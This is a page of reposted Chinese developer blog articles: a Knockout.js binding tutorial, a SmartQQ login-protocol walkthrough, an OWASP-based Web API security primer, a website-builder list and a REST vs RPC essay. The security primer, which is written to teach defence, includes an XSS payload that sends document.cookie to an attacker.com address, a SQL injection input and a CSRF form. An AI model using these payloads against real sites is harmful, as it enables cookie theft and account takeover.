        <table data-bind="if: userList().length > 0" class="table table-bordered table-hover" style="margin-top: 20px;">
            <thead>
                <tr>
                    <th>用户ID</th>
                    <th>用户名</th>
                    <th style="text-align: center;">删除</th>
                </tr>
            </thead>
            <tbody data-bind="foreach: userList">
                <tr data-bind="css: { success: selected }, click: function (data, event) { $parent.selectUser($data) }">
                    <td><span data-bind="text: userid"></span></td>
                    <td><span data-bind="text: username"></span></td>
                    <td style="text-align: center;">
                        <button type="button" class="btn btn-default btn-xs" data-bind="click: function (data, event) { $parent.deleteUser($data) }, clickBubble: false">
                            <span class="glyphicon glyphicon-remove"></span>
                        </button>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
    @*将下面div的绑定对象设为currentUser,如果currentUser为空,则该div中的内容不会显示*@
    <div class="col-md-8 col-sm-8 col-xs-12" data-bind="with: currentUser">
        @foreach (AreaElement area in Model.Areas)
        {
            <div class="panel panel-default">
                <div class="panel-heading">

                    @{if (area.Sites.Count == 0)
                      {
                        <label class="checkbox">
                            <input type="checkbox" value="@area.Code" data-bind="checked: navitems" />
                            @area.Name
                        </label>
                      }
                      else
                      {
                        @area.Name
                      }
                    }

                </div>
                @if (area.Sites.Count > 0)
                {
                    <div class="panel-body">
                        @foreach (SiteElement site in area.Sites)
                        {
                            <label class="checkbox-inline">
                                <input type="checkbox" value="@site.Code" data-bind="checked: navitems" />@site.Name
                            </label>
                        }
                    </div>
                }
            </div>
        }
        <p class="text-right">
            <button type="button" class="btn btn-default" data-bind="click: updateNavs">保存</button>
        </p>
    </div>
</div>
复制代码

代码中加了很多data-bind属性,作用不言自明。需要注意的是所谓自定义绑定。当绑定的值变动了,希望执行额外的逻辑(和C#中的事件相似),就会用到。这里,当error的值有变动,为空时提示面板隐藏,否则显示:

<div id="divWaring" class="alert alert-warning" style="display: none;" data-bind="animVisible: error"></div>

animVisible就是一个自定义绑定,定义如下:

复制代码
ko.bindingHandlers.animVisible = {
    update: function (elem, valueAccessor) {
        var error = ko.unwrap(valueAccessor());
        if (error) {
            elem.innerText = error;
            $(elem).show(300);
        }
        else {            
            $(elem).hide(300);
            elem.innerText = "";
        }
    }
};
复制代码

OK,接下来,当点击表格的每一行,currentUser就会自动计算得到(ko.computed),并反馈到界面,绑定了该字段的div内部 的相应节点的状态也会相应变化(checkbox)。保存啥的就不说了。综上所述,除了必要的与后台交互的代码,涉及到操作UI和DOM节点,我们不需要 写一行JS,很爽很舒服。

ps:本来想写详细点,结果发现写一大堆还不如几行代码来的清楚。文中若有错误之处,请及时告知,大家交流,共同进步。

 

转载请注明本文出处:http://www.cnblogs.com/newton/p/3328058.html

[转载]玩转SmartQQ之登录 - 飞无痕落无声 - 博客园

mikel阅读(1183)

[转载]玩转SmartQQ之登录 – 飞无痕落无声 – 博客园.

SmartQQ是腾讯新出的一个WebQQ,登录地址是:http://w.qq.com/,目前之前的WebQQ可以继续使用,登录地址:http://web2.qq.com/webqq.html,SmartQQ相比之前的WebQQ要简单清爽很多,而且手机端可以直接访问,应该是腾讯为了在移动端做的一个调整,今天我把SmartQQ的登录过程给大家分析下。
对于Http协议,如果大家还不熟悉的,可以去找相关资料学习下,现在我们直奔主题。
对于Http数据包的抓取和分析,我用的是firebug自带的,当然其他的类似工具(fiddler,httpwatch,http analyzer)等都可以,看自己的喜好了。
首先截个完整的登录成功的http协议的图:
通过观察分析,整个登录过程大致如下:
这个请求的意思是检测当前输入的账号是否需要用验证码来登录,其中u这 个参数是用户名,上面链接中的34310374是我的qq号码,login_sig是登录要用到的签名,每次登录的签名都不一样的,这个值稍候会说到如何 提取到,这些参数是必要的动态参数,其余的参数目前发现是不变的,当然那些参数也可以提取到,为了防止这些参数以后会变,我都是通过动态提取的,做到万无 一失。
检测是否需要验证码的参数提取
先看看载入http://w.qq.com的时候会做哪些事情,查看源代码,里面最有用的一句是:
蓝色标注的具体的详细的登录地址,通过iframe的src,我们可以获取到appid(腾讯的每个web产品都有唯一的appid),login_state是登录状态,10表示在线,默认是在线。
继续看看src地址的源代码,发现在源代码里面有一段这样的脚本:
我们可以通过var g_login_sig的值得到login_sig。
这里我们用到了HttpWebRequest来进行http的模拟请求。(具体这个怎么用就不多说了,我自己封装了一个HttpHelper的请求类,在文章的最后我会把这些代码附上)
请求的结果如下:
ptui_checkVC('0','!XLF','\x00\x00\x00\x00\x02\x0b\x88\xe6');
返回的值有三个,第一个0表示不需要验证码,1表示需要验证码。当第一个为0的时候,第二个参数为验证码,第三个参数为uin,可以理解为验证码标识吧。
如果需要验证码,请求返回的是:
ptui_checkVC(‘1′,’dbec74e5b7b14c2479b675c7a1b76f5b8fd594067e8fd183′,’\x00\x00\x00\x00\x00\x34\x3f\xdf’);
这时候,第二个值就没什么用了,验证码是需要自己输入的。
如果需要验证码的时候,我们要提取验证码图片:
 同样用到的参数有appid和qq号码。
 第一次登陆
 QQ的登陆有两步,先看下一次登陆的请求地址:
参数解析:
u表示qq号码或者邮箱地址,p是加密后的密码,verifycode表示验证码,如果前面检测到需要验证码,这个值就是你输入的验证码,否则就是检测结果的第二个值。login_sig前面我们以前提取到了。
继续模拟http请求,如果登陆成功,结果如下:
ptuiCB('0','0','http://ptlogin4.web2.qq.com/check_sig?pttype=1&uin=34310374&service=login&nodirect=0&ptsig=DhJ8N-3qER1eSKmIoHFix*0LcUQN1IqG7XASHP1RzxE_&s_url=
http%3A%2F%2Fw.qq.com%2Fproxy.html%3Flogin2qq%3D1%26webqq_type%3D10&f_url=&ptlang=2052&ptredirect=100&aid=501004106&daid=164&j_later=0&low_login_hour=0&regmaster=0','0','登录成功!', '飞无痕落无声');
返回的结果的第三个值,是需要继续302的一个地址
继续请求这个地址,这个地址主要的作用是赋值cookie和跳转。
请求完毕后,接着进行第二次登陆。
第二次登陆
第二次登陆是一个post请求,请求的参数如下
r= {“ptwebqq”:”667ca0404f9256dba6fe58dc9440733cbabcdb813dd5b2b13703b684240447bb”,”clientid”:53999199,”psessionid”:””,”status”:”online”} 
其中ptwebqq是从cookie里面提取到的,clientid是自己构造的一个8位随机9位数字
post的请求的结果如下:
{"retcode":0,"result":{"uin":34310374,"cip":2084660302,"index":1075,"port":47529,"status":"online","vfwebqq":"1571c0e077478cad6b3a36c159a1845f391ce90909f155be3022f1c8742b60f526354e2513105467",
"psessionid":"8368046764001d636f6e6e7365727665725f77656271714031302e3133332e34312e383400003d8800001e
a00162020b88e66d0000000a406771476958665165796d000000281571c0e077478cad6b3a36c159a1845f391ce90909f155be3022f1c8742b60f526354e2513105467",
"user_state":0,"f":0}}
retcode为0表是登录成功了,后面的psessionid等参数再后面获取qq联系人和发消息会用到,下篇文章会讲到。
至此,SmartQQ登录完毕,这里面要主要的到时用HttpWebRequest的时候遇到cookie跨域的时候,某些cookie会访问不到,必须手动修改cookie的域,这个问题折腾了不少时间,腾讯的cookie是好几个子域的。
点击下载代码,欢迎大家交流和期待下面的文章,that'all。

[转载]Web API 入门指南 - 闲话安全 - 微软互联网开发支持 - 博客园

mikel阅读(1243)

[转载]Web API 入门指南 – 闲话安全 – 微软互联网开发支持 – 博客园.

Web API入门指南有些朋友回复问了些安全方面的问题,安全方面可以写的东西实在太多了,这里尽量围绕着Web API的安全性来展开,介绍一些安全的基本概念,常见安全隐患、相关的防御技巧以及Web API提供的安全机制。

目录

Web API 安全概览

先引用下wikipedia信息安全的定义:即保护信息免受未经授权的进入、使用、披露、破坏、修改、检视、记录及销毁,从而保证数据的机密性(Confidentiality)完整性(Integrity)可靠性(Availability)

机密性和完整性都很好理解,可靠性作为信息安全的一个重要原则这里特别解释一下,即访问信息的时候保证可以访问的到,有一种攻击方式叫DOS/DDOS,即拒绝服务攻击,专门破坏网站的可用性。

Information security, sometimes shortened to InfoSec, is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction.

围绕Web API安全,在不同的层次上有不同的防护措施。例如,

下图是一个概览。

security-overview

安全隐患

安全隐患种类繁多,这里简单介绍下OWASP 2013年票选前十位安全隐患

1. 注入(Injection)

注入是指输入中包含恶意代码(在解释器中会被作为语句执行而非纯文本),直接被传递给给解释器并执行,那么攻击者就可以窃取、修改或者破坏数据。

注入有很多种类型,最常见的如SQL注入、LDAP注入、OS命令注入等。

示例

以下代码是一个典型的SQL注入隐患

1
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

如果输入中customerName后面加上一个’ or ‘1’=’1,可以想象所有的accounts表数据都回被返回。

防御

  • 通过封装API以参数形式来调用解释器,避免将整个解释器功能暴露给客户端。
  • 如果没有封装好的安全API,可以考虑将特殊字符转义之后再传递给解释器。
  • 更加激进一点的话可以提供一个输入的白名单,只有名单上的数据才可以进入解释器。

2. 无效认证和Session管理方式(Broken Authentication and Session Management)

开发人员经常自己编写认证或session管理模块,但是这种模块需要考虑的因素众多,很难正确完整的实现。所以经常会在登入登出、密码管理、超时设置、安全问题、帐户更新等方面存在安全隐患,给攻击者以可乘之机。

示例

  • 用户密码用明文保存,例如2011年12月多家网站数据泄露,其中就发现国内知名技术网站居然也用明文存储用户密码。单纯的客户密码复杂度高还是不够,服务器的坑爹的实现还是会导致客户裸奔。
  • 用户密码可以被特殊操作覆盖。例如不正确的实现密码更改功能、恢复密码功能等都有可能造成密码被直接更改。
  • 网页URL中包含Session ID。例如你发现一个有趣的网页,然后把链接通过聊天工具贴给其他人,但是这个链接中包含了你的session id,别人点击这个链接就直接使用了你的session,同时他也可以作任何你可以在该网站上允许的操作,例如买张手机冲值卡。
  • Session ID不会timeout,或者session/token/SSO token在登出的时候没有将其失效。
  • 用户认证信息、Session ID使用未加密连接传输。这里要提一下博客园的认证连接也是不加密的,通过抓报工具很容易抓到用户的密码信息。目前来说我们可以做的是为博客园专门设置一个密码,千万别用自己自己信用卡或支付宝密码。

防御

3. 跨站脚本(Cross-Site Scripting (XSS))

允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页,那么恶意用户就可以在网页中注入脚本来窃取用户数据。

示例

例如网站通过以下代码直接构造网页输出,

1
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

攻击者输入以下数据,

1
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.

当该数据被输出到页面的时候,每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。

防御

  • 推荐将所有用户输入数据进行转义
  • 激进的方法是提供一个白名单控制用户输入
  • 对于富文本输入可以使用anti-xss library来处理输入,例如Microsoft AntiXSS library.

4. 直接对象引用(Insecure Direct Object References)

这个问题在动态网页中也相当普遍,指的是页面存在对数据对象的键/名字的直接引用,而网站程序没有验证用户是否有访问目标对象的权限。

示例

例如一个网站通过以下代码返回客户信息,

1
2
3
4
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

攻击者可以通过修改querystring来查询任何人的信息

防御

  • 使用用户级别Session级别间接对象引用,比如用户界面上下拉框中选项对应简单数字而不是对象的数据库键值,界面数字与对象键值之间的对应关系在用户级别或session级别维护。
  • 控制访问,在真正的操作之前判断用户是否有权限执行该操作或访问目标数据。

5. 错误的安全配置(Security Misconfiguration)

安全配置可能在各个级别(platform/web server/application server/database/framework/custom code)出错,开发人员需要同系统管理合作来确保合理配置。

示例

配置问题的范例比较多样,常见的几种如下,

  • 服务器使用过期或存在安全漏洞的软件
  • 安装了没有必要的功能
  • 系统默认帐户没有禁用或使用默认密码
  • 出错信息中包含错误细节(调用栈信息)
  • 使用的开发框架中的安全设置没有正确配置

防御

  • 开发可复用自动化流程来部署环境,保证开发,测试与生产环境具有相同配置
  • 及时更新软件、系统以及使用的框架
  • 架构设计充分考虑组件的安全边界分割
  • 使用专业扫描工具定期检查安全漏洞

6. 暴露敏感数据(Sensitive Data Exposure)

这种漏洞就是导致知名网站用户信息泄露的关键,通过明文存储敏感数据。

示例

  • 密码数据库中通过明文或者通过unsalted hash来存储。攻击通过文件上传漏洞得到密码文件,所有的密码都会泄露。
  • 另外一个典型示例就是用户登录使用未加密连接,这里不举例说明了。。。

防御

  • 加密所有必须的敏感数据
  • 避免存储不必须的敏感数据
  • 使用强加密算法
  • 使用专门设计的密码加密算法
  • 禁用包含敏感数据的form中的自动完成功能,禁用包含敏感数据的页面缓存

7. 功能级权限控制缺失(Missing Function Level Access Control)

功能级别权限控制一般是写在代码中或者通过程序的配置文件来完成,但是可惜的是开发者经常忘记添加一些功能的权限控制代码。

示例

例如以下链接本该只有admin才能访问,但如果匿名用户或者非admin用户可以直接在浏览器中访问该链接,说明网站存在功能级权限控制漏洞。

防御

  • 不要hard code权限控制,需要建立一种可以比较容易更新和监测权限控制的机制
  • 默认拒绝所有访问,访问任何功能都需要被赋予特定的权限
  • 如果某功能在一个workflow中,需要确认所有的前提条件都在正确的状态,然后允许访问该功能

8. 伪造跨站请求(Cross-Site Request Forgery)

同样是跨站请求,这种与问题3的不同之处在于这个请求是从钓鱼网站上发起的。

示例

例如钓鱼网站上包含了下面的隐藏代码,

这行代码的作用就是一个在example.com网站的转帐请求,客户访问钓鱼网站时,如果也同时登录了example.com或者保留了example.com的登录状态,那个相应的隐藏请求就会被成功执行。

防御

  • 推荐使用session级别的唯一token保存在hidden field,这样该值就会被包含在请求体中,这样钓鱼网站的请求就无法得知该token从而会使请求失效。

9. 使用已知安全隐患组件(Using Components with Known Vulnerabilities)

几乎每个程序都有这个问题,因为大多数人不会关心自己引用的库文件是否存在已知安全漏洞,而且一旦部署成功就不会再有人关心是否有组件需要升级。然 而这些组件在服务器中运行,拥有相当高的权限去访问系统中的各种资源,一旦攻击者利用该组件已知漏洞,那么窃取或破坏信息也将不是难事。

示例

以下两个组件都存在已知的安全缺陷从而可以让攻击者获得服务器最高权限,但是在2011年他们被下载了22M次之多,但是其中有多少被更新了,多少还在继续使用呢。

防御

  • 确定系统使用的所有组件及其版本,包括相应的依赖组件
  • 关注这些组件相应的项目邮件组、issue数据库的安全更新
  • 定义组件安全使用策略,避免滥用组件
  • 如果可能的话对组件进行包装,从而禁用其不安全的功能

10. 未验证跳转(Unvalidated Redirects and Forwards)

很多网站都经常会需要进行页面跳转,而且有些跳转会根据用户输入来决定,这样就给了攻击者可乘之机,从而可能将用户导向恶意网站或者未授权链接。

示例

下面页面请求根据query string url字段来进行跳转,这样攻击者很容易伪造类似于以下的跳转链接将客户导向到钓鱼网站。

又如未授权用户通过下面链接跳过授权检查直接到admin页面

防御

  • 避免跳转
  • 不要根据用户输入来跳转
  • 如果必须根据输入跳转,验证该输入并且该用户具备访问该目标路径的权限
  • 如果必须根据输入跳转,推荐根据用户输入来内部决定对应的跳转目标,不直接使用输入

Web API安全机制

Web API包含了一套完整的安全机制,而且具备不错的扩展性,这一节我们主要介绍Web API提供的一些基本安全相关的功能。

认证与授权(Authentication and Authorization)

先给认证和授权下个定义。

什么是认证?简单来说认证就是搞清楚用户是谁。

什么是授权?授权就是搞清楚用户可以做什么。

认证

Web API的认证取决于宿主环境配置的认证方式,比如Web API host在IIS,那么在IIS相应的网站上认证配置抑或自定义的认证模块同样会作用于Web API。

在Web API中检查一个请求是否经过认证,可以通过以下属性来判断,

1
Thread.CurrentPrincipal.Identity.IsAuthenticated

如果程序需要采用自定义的认证方式,需要同时设置以下两个属性,

  • Thread.CurrentPrincipal. This property is the standard way to set the thread’s principal in .NET.
  • HttpContext.Current.User. This property is specific to ASP.NET.
1
2
3
4
5
6
7
8
private void SetPrincipal(IPrincipal principal)
{
    Thread.CurrentPrincipal = principal;
    if (HttpContext.Current != null)
    {
        HttpContext.Current.User = principal;
    }
}

授权

授权在我们编写API的时候经常会涉及到,Web API也提供了比较完整的授权检查机制。

如果我们想知道认证的用户信息,可以通过ApiController.User来查看。

1
2
3
4
5
6
7
public HttpResponseMessage Get()
{
    if (User.IsInRole("Administrators"))
    {
        // ...
    }
}

另外我们可以在不同级别使用AuthorizeAtrribute来控制不同级别的授权访问。

如果我们希望在全局所有的Controller控制授权,只有授权用户可以访问的话,可以通过以下方式,

1
2
3
4
public static void Register(HttpConfiguration config)
{
    config.Filters.Add(new AuthorizeAttribute());
}

如果希望控制在个别Controller级别,

1
2
3
4
5
6
[Authorize]
public class ValuesController : ApiController
{
    public HttpResponseMessage Get(int id) { ... }
    public HttpResponseMessage Post() { ... }
}

如果希望控制在个别Action级别,

1
2
3
4
5
6
7
8
public class ValuesController : ApiController
{
    public HttpResponseMessage Get() { ... }
    // Require authorization for a specific action.
    [Authorize]
    public HttpResponseMessage Post() { ... }
}

如果希望允许个别Action匿名访问

1
2
3
4
5
6
7
8
[Authorize]
public class ValuesController : ApiController
{
    [AllowAnonymous]
    public HttpResponseMessage Get() { ... }
    public HttpResponseMessage Post() { ... }
}

如果希望允许个别用户或者用户组

1
2
3
4
5
6
7
8
9
10
11
// Restrict by user:
[Authorize(Users="Alice,Bob")]
public class ValuesController : ApiController
{
}
   
// Restrict by role:
[Authorize(Roles="Administrators")]
public class ValuesController : ApiController
{
}

伪造跨站请求(Cross-Site Request Forgery Attacks)

再来复习一遍什么是伪造跨站请求攻击

1. 用户成功登录了www.example.com,客户端保存了该网站的cookie,并且没有logout。

2. 用户接下来访问了另外一个恶意网站,包含如下代码

1
2
3
4
5
6
<h1>You Are a Winner!</h1>
<form action="http://example.com/api/account" method="post">
   <input type="hidden" name="Transaction" value="withdraw" />
   <input type="hidden" name="Amount" value="1000000" />
   <input type="submit" value="Click Me"/>
</form>

3. 用户点击submit按钮,浏览器向example.com发起请求到服务器,执行了攻击者期望的操作。

上面的事例需要用户点击按钮,但网页也可以通过简单的脚本直接在网页加载过程中自动发送各种请求出去。

 

正如我们之前提到的防御方案所说,ASP.NET MVC中可以通过下面简单的代码可以在页面中添加一个隐藏field,存放一个随机代码,这个随机码会与cookie一起在服务器通过校验。这样其他网站无法得到不同用户的随机代码,也就无法成功执行相应的请求。

1
2
3
@using (Html.BeginForm("Manage", "Account")) {
    @Html.AntiForgeryToken()
}
1
2
3
4
5
<form action="/Home/Test" method="post">
    <input name="__RequestVerificationToken" type="hidden"
           value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" />   
    <input type="submit" value="Submit" />
</form>

对于没有form的ajax请求,我们无法通过hidden field来自动提交随机码,可以通过以下方式在客户端请求头中嵌入随机码,然后在服务器校验,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>
    @functions{
        public string TokenHeaderValue()
        {
            string cookieToken, formToken;
            AntiForgery.GetTokens(null, out cookieToken, out formToken);
            return cookieToken + ":" + formToken;               
        }
    }
    $.ajax("api/values", {
        type: "post",
        contentType: "application/json",
        data: {  }, // JSON data goes here
        dataType: "json",
        headers: {
            'RequestVerificationToken': '@TokenHeaderValue()'
        }
    });
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void ValidateRequestHeader(HttpRequestMessage request)
{
    string cookieToken = "";
    string formToken = "";
    IEnumerable tokenHeaders;
    if (request.Headers.TryGetValues("RequestVerificationToken", out tokenHeaders))
    {
        string[] tokens = tokenHeaders.First().Split(':');
        if (tokens.Length == 2)
        {
            cookieToken = tokens[0].Trim();
            formToken = tokens[1].Trim();
        }
    }
    AntiForgery.Validate(cookieToken, formToken);
}

安全链接(SSL)

对于需要启用安全链接的地址,例如认证页面,可以通过以下方式定义AuthorizationFilterAttribute,来定义哪些action必须通过https访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class RequireHttpsAttribute : AuthorizationFilterAttribute
{
    public override void OnAuthorization(HttpActionContext actionContext)
    {
        if (actionContext.Request.RequestUri.Scheme != Uri.UriSchemeHttps)
        {
            actionContext.Response = new HttpResponseMessage(System.Net.HttpStatusCode.Forbidden)
            {
                ReasonPhrase = "HTTPS Required"
            };
        }
        else
        {
            base.OnAuthorization(actionContext);
        }
    }
}
1
2
3
4
5
public class ValuesController : ApiController
{
    [RequireHttps]
    public HttpResponseMessage Get() { ... }
}

在Visual Studio里面测试的时候可以通过下面的设置来启用SSL链接

webapi_auth07

IIS中可以通过如下设置来启用SSL链接

1
2
3
4
5
6
7
<system.webServer>
    <security>
        <access sslFlags="Ssl, SslNegotiateCert" />
        <!-- To require a client cert: -->
        <!-- <access sslFlags="Ssl, SslRequireCert" /> -->
    </security>
</system.webServer>

跨域请求(Cross-Origin Requests)

跨域请求与前面的跨站伪造请求类似,有些情况下我们需要在网页中通过ajax去其他网站上请求资源,但是浏览器一般会阻止显示ajax请求从其他网站收到的回复(注意浏览器其实发送了请求,但只会显示出错),如果我们希望合理的跨域请求可以成功执行并显示成功,我们需要在目标网站上添加逻辑来针对请求域启用跨域请求。

要启用跨域请求首先要从nuget上添加一个Cors库引用,

Install-Package Microsoft.AspNet.WebApi.Cors

然后在WebApiConfig.Register中添加以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
using System.Web.Http;
namespace WebService
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // New code
            config.EnableCors();
            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}

接下来就可以在不同级别使用EnableCors属性来控制启用跨域请求了,

Global级别

1
2
3
4
5
6
7
8
9
public static class WebApiConfig
{
    public static void Register(HttpConfiguration config)
    {
        var cors = new EnableCorsAttribute("www.example.com", "*", "*");
        config.EnableCors(cors);
        // ...
    }
}

Controller级别

1
2
3
4
5
6
7
8
9
10
[EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")]
public class ItemsController : ApiController
{
    public HttpResponseMessage GetAll() { ... }
    public HttpResponseMessage GetItem(int id) { ... }
    public HttpResponseMessage Post() { ... }
    [DisableCors]
    public HttpResponseMessage PutItem(int id) { ... }
}

Action级别

1
2
3
4
5
6
7
8
9
10
public class ItemsController : ApiController
{
    public HttpResponseMessage GetAll() { ... }
    [EnableCors(origins: "http://www.example.com", headers: "*", methods: "*")]
    public HttpResponseMessage GetItem(int id) { ... }
    public HttpResponseMessage Post() { ... }
    public HttpResponseMessage PutItem(int id) { ... }
}

允许跨域请求如何做到的?

浏览器会根据服务器回复的头来检查是否允许该跨域请求,比如浏览器的跨域请求头如下,

1
2
3
4
5
6
7
8
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
Host: myservice.azurewebsites.net

如果服务器允许跨域,会添加一个Access-Control-Allow-Origin头来通知浏览器该请求应该被允许,

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Access-Control-Allow-Origin: http://myclient.azurewebsites.net
Date: Wed, 05 Jun 2013 06:27:30 GMT
Content-Length: 17
GET: Test message

 

本来还写了一个类似于博客园的投票页面,但是文章太长了,加载起来都费劲,下次一起贴出来。

[转载]全球10大高端建站神器推荐 - tankaixiong - 博客园

mikel阅读(974)

[转载]全球10大高端建站神器推荐 – tankaixiong – 博客园.

全球10大高端建站神器推荐


1、IM Creator

优设网10大零编码基础的建站神器

听 我说,我们的IM Creator易用性和多功能性超越了很多客户的预期。只需要你把控住超级菜单,根据您的需要做相应的拖放和功能选择。它们包括视频、图片、画廊和幻灯 片、按钮、超链接、甚至一个HTML小部件。 最酷的地方在与你不需要创建繁琐的帐户,你可以轻松上路。唠叨了半天,我差点没有提到最好的部分:以上所有服务都是完全免费的!

2、WebStartToday.com

优设网10大零编码基础的建站神器

如 果你是一个细节癖,喜欢抠各种设计细节,那么你完全应该来看看WebStartToday!这里提供了超过1000个不同的网页模板来匹配你的需求!甚至 那些很少见的模版:旅行、夜生活、豪华轿车服务、锁匠、美食、琳琅满目数之不尽! 当然这并不意味着我们的模版就是千篇一律,随处可见的!在这里的模版,可以保证是独此一家的,如果你在其他地方发现了,那一定是他们借了我们的宝贝,偷偷 的!

3、Kopage

优设网10大零编码基础的建站神器

Kopage是一个非常快速、强大、易于使用的建站工具,有着许多小巧的网页部件:包括相册、幻灯片、画廊、HTML和视频。它的最大特点是,它支持Cpanel自动安装,让你的网站在几分钟内准备好。

4、MadeFreshly

优设网10大零编码基础的建站神器

MadeFreshly提供一个又一个的伟大解决方案,在这个在线商店里,我们会为您节省大量的研发时间和剔除不必要的一些麻烦。虽然现成的模板不是太多,但是它们都是免费的,而且各具特色异常丰富,足以满足日常建站需要。

5、Webydo

优设网10大零编码基础的建站神器

如果你正在寻找在一家设计网页的专业公司,那么你必须找Webydo!Webydo甚至比设计师更能理解您的的需求!前提是你创建一个帐户,当然在Webydo这里是快速的、简单的更是免费的。

6、aircus

优设网10大零编码基础的建站神器

Aircus是一个很有范的网络建设工具,无论是在美学上还是在互动技术上。在这里,我们专注于简单简洁的设计,很少有花俏的颜色和大字母字体。模板不是很多,都只是简单的、优雅的和易于访问的。你的网站在几分钟内就可以完成。

7、Wix

优设网10大零编码基础的建站神器

超过3000万个网站模版,Wix享誉盛名,已经被设计师顶尖网址导航收录。正因为Wix更专业、更有名气,所以服务不是免费的。但是维护和修改是非常轻松的的。

8、Website.com

优设网10大零编码基础的建站神器

Website提供着优秀的网站建设服务,模板经过搜索引擎优化。这里还提供了一对一的咨询以及每个月的网站维护。

9、Webzai

优设网10大零编码基础的建站神器

Webzai的网站在电脑和手机以及便携设备上都有良好的兼容性!您可以使用模板或从头开始构建自己需要的一切。拖拽搜索菜单允许您修改任何一个细节。当然我们也做SEO优化,云托管等。

10、Ucoz

优设网10大零编码基础的建站神器

Ucoz是一个受欢迎的网站,有着最佳的组合定价和流行功能。我们可以棒你创建和发布一个成熟的、专业的网站。uCoz已经服务超过200万活跃网站。支持16个语言本地化,我们的专业团队是异常追求完美的。

[转载]Web Service实践之REST vs RPC - Tower Joo - 博客园

mikel阅读(1143)

[转载]Web Service实践之REST vs RPC – Tower Joo – 博客园.

Web Service实践之REST vs RPC

本博客所有内容采用 Creative Commons Licenses 许可使用. 引用本内容时,请保留 朱涛出处 ,并且 非商业 .

点击 订阅 来订阅本博客.(推荐使用 google reader, 如果你的浏览器不支持直接订阅,请直接在 google reader 中手动添加).

点击 下载pdf阅读.

摘要

Web Service 已经不再新鲜, 而随后的 SOACloud Computing 也不断出现, 直到百度也 提出了自己的 框计算, 我们尚且不管这些时髦的名词背后所蕴藏的实际的技术创新有多少, 但是他们终究是逃不出一点, 即 如何解决访问服务的问题, 而此处的服务通常不在本地而是在 遥远的你不知道的美国或者印度.

本文想阐述标题中提到的两种解决远程服务访问的方法,优缺点及其一些实际的建议等.

Contents

  • 摘要
  • 引入
  • Web Service
  • RPC
  • REST
  • RPC与REST的区别
  • 如何选择?
  • 一个自己的项目例子
  • 结论
  • 参考资料
  • 本文的rst源码

引入

我们每天都在使用浏览器来上网冲浪, 在查找自己需要的资源, HTTP协议自然是我们使用的最多的 一种, 我们尽情地享受着这种信息高速路的快感,却没有试图去了解我们是如何获得这些资源的? 它是一种什么样的设计理念?

我们也偶尔会使用 Gtalk来和自己的同事或者朋友来聊天, 我们在给朋友提供资源(信息)的同时 也获取着朋友的资源(信息), 我们是否可曾想过, 这种交流背后又是一种什么过程呢?

在这互联网的时代,只要牵扯到获得非本地的资源, 都会面临一个问题:

如何访问服务呢?

让我们先看看什么是 Web Service.

Web Service

Web Service 也提出了好久了, 那么究竟什么是 Web Service ?

简单地说, 也就是服务器如何向客户端提供服务.

常用的方法有:

  1. RPC 所谓的远程过程调用 (面向方法)
  2. SOA 所谓的面向服务的架构(面向消息)
  3. REST 所谓的 Representational state transfer (面向资源)

SOA 是前几年炒的很火的一个词, 不亚于当前的 Cloud Computing , 如果说 RPC 是基于方法调用(method),那么 SOA 则是基于 消息, 基于方法调用通常会与特定的程序语言 耦合起来,而后者则与具体的实现语言无关, 所以在一定程度上得到大公司的支持.

本文不会在 SOA 上着笔过多, 主要是因为笔者本人对这个没有多少研究, 怕误导读者. 另, 笔者 最近对 RPC 和 REST 方式的原理和实现有一些研究, 所以本文会主要集中在 RPC 和REST.

RPC

RPC 即远程过程调用, 很简单的概念, 像调用本地服务(方法)一样调用服务器的服务(方法).

通常的实现有 XML-RPC , JSON-RPC , 通信方式基本相同, 所不同的只是传输数据的格式.

(如果你已经习惯于XML繁重的尖括号,你不妨可以尝试下更加轻型,高效,传输效率高的 JSON.)

一个简单的通信过程通常为:

Request

<?xml version="1.0"?>
<methodCall>
  <methodName>member.get_username_by_id</methodName>
  <params>
    <param>
        <value><i4>1</i4></value>
    </param>
  </params>
</methodCall>

Response

<?xml version="1.0"?>
<methodResponse>
  <params>
    <param>
        <value><string>Zhu Tao</string></value>
    </param>
  </params>
</methodResponse>

向服务器发送一个过程调用的方法及其参数, 得到服务器返回的方法执行的结果.

在 XML-RPC 之后又有了更加强大的 SOAP , 用于一些比较复杂的系统之上.

REST

终于我们来看 REST 了, 呵呵, 这个是我目前比较喜欢的一个远程通信方法(架构).

REST 不是一种协议,它是一种架构, 一种 Web Service 能够如果满足 REST 的几个条件, 通常就称这个系统是 Restful 的.

这里提到的条件包括:

  1. C/S结构 (这是Internet服务的一个基本特征)
  2. 无状态 (很熟悉吧,呵呵)
  3. 可以cache (想起了浏览器?)
  4. 分层系统 (想起了无数的架构?)
  5. 统一的接口 (如果这是可能的,程序员有福了, :D)
  6. code on demand(可选, 其实是一种扩展性的要求)

看了这几个特征后,你想起了什么?

你可能会破口而出: HTTP.

我答: You got it!

